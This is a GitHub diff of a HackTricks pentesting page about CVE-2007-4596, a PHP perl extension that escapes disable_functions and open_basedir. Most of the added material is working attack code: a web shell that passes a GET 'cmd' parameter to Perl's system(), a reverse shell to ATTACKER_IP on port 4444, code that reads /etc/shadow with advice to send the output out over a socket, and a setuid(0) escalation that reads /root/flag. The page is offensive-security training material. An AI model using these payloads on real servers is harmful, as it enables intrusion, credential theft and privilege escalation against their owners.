Skip to content
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
Expand Up @@ -2,22 +2,29 @@

{{#include ../../../../banners/hacktricks-training.md}}

## Background

From [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
The issue tracked as **CVE-2007-4596** comes from the legacy `perl` PHP extension, which embeds a full Perl interpreter without honoring PHP's `safe_mode`, `disable_functions`, or `open_basedir` controls. Any PHP worker that loads `extension=perl.so` gains unrestricted Perl `eval`, so command execution remains trivial even when all classic PHP process-spawning primitives are blocked. Although `safe_mode` disappeared in PHP 5.4, many outdated shared-hosting stacks and vulnerable labs still ship it, so this bypass is still valuable when you land on legacy control panels.

```php
<?php
## Building a Testable Environment in 2025

* The last publicly shipped build (`perl-1.0.1`, January 2013) targets PHP ≥5.0. Fetch it from PECL, compile it for the exact PHP branch you plan to attack, and load it globally (`php.ini`) or via `dl()` (if permitted).
* Quick Debian-based lab recipe:
```bash
sudo apt install php5.6 php5.6-dev php-pear build-essential
sudo pecl install perl-1.0.1
echo "extension=perl.so" | sudo tee /etc/php/5.6/mods-available/perl.ini
sudo phpenmod perl && sudo systemctl restart apache2
```
* During exploitation confirm availability with `var_dump(extension_loaded('perl'));` or `print_r(get_loaded_extensions());`. If absent, search for `perl.so` or abuse writable `php.ini`/`.user.ini` entries to force-load it.
* Because the interpreter lives inside the PHP worker, no external binaries are needed—network egress filters or `proc_open` blacklists do not matter.

## Original PoC (NetJackal)

#########################################################
##----------------------------------------------------###
##----PHP Perl Extension Safe_mode Bypass Exploit-----###
##----------------------------------------------------###
##-Author:--NetJackal---------------------------------###
##-Email:---nima_501[at]yahoo[dot]com-----------------###
##-Website:-http://netjackal.by.ru--------------------###
##----------------------------------------------------###
#########################################################
From [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/), still handy to confirm the extension responds to `eval`:

```php
<?php
if(!extension_loaded('perl'))die('perl extension is not loaded');
if(!isset($_GET))$_GET=&$HTTP_GET_VARS;
if(empty($_GET['cmd']))$_GET['cmd']=(strtoupper(substr(PHP_OS,0,3))=='WIN')?'dir':'ls';
Expand All @@ -26,12 +33,68 @@ echo "<textarea rows='25' cols='75'>";
$perl->eval("system('".$_GET['cmd']."')");
echo "&lt;/textarea&gt;";
$_GET['cmd']=htmlspecialchars($_GET['cmd']);
echo "<br><form>CMD: <input type=text name=cmd value='".$_GET['cmd']."' size=25></form>"

echo "<br><form>CMD: <input type=text name=cmd value='".$_GET['cmd']."' size=25></form>";
?>
```

{{#include ../../../../banners/hacktricks-training.md}}
## Modern Payload Enhancements

### 1. Full TTY over TCP

The embedded interpreter can load `IO::Socket` even if `/usr/bin/perl` is blocked:

```php
$perl = new perl();
$payload = <<<'PL'
use IO::Socket::INET;
my $c = IO::Socket::INET->new(PeerHost=>'ATTACKER_IP',PeerPort=>4444,Proto=>'tcp');
open STDIN, '<&', $c;
open STDOUT, '>&', $c;
open STDERR, '>&', $c;
exec('/bin/sh -i');
PL;
$perl->eval($payload);
```

### 2. File-System Escape Even with `open_basedir`

Perl ignores PHP’s `open_basedir`, so you can read arbitrary files:

```php
$perl = new perl();
$perl->eval('open(F,"/etc/shadow") || die $!; print while <F>; close F;');
```

Pipe the output through `IO::Socket::INET` or `Net::HTTP` to exfiltrate data without touching PHP-managed descriptors.

### 3. Inline Compilation for Privilege Escalation

If `Inline::C` exists system-wide, compile helpers inside the request without relying on PHP’s `ffi` or `pcntl`:

```php
$perl = new perl();
$perl->eval(<<<'PL'
use Inline C => 'DATA';
print escalate();
__DATA__
__C__
char* escalate(){ setuid(0); system("/bin/bash -c 'id; cat /root/flag'"); return ""; }
PL
);
```

### 4. Living-off-the-Land Enumeration

Treat Perl as a LOLBAS toolkit—e.g., dump MySQL DSNs even if `mysqli` is missing:

```php
$perl = new perl();
$perl->eval('use DBI; @dbs = DBI->data_sources("mysql"); print join("\n", @dbs);');
```

## References

- [CVE-2007-4596 summary and timeline](https://www.cvedetails.com/cve/CVE-2007-4596/)
- [PECL perl extension package information](https://pecl.php.net/package/perl)

{{#include ../../../../banners/hacktricks-training.md}}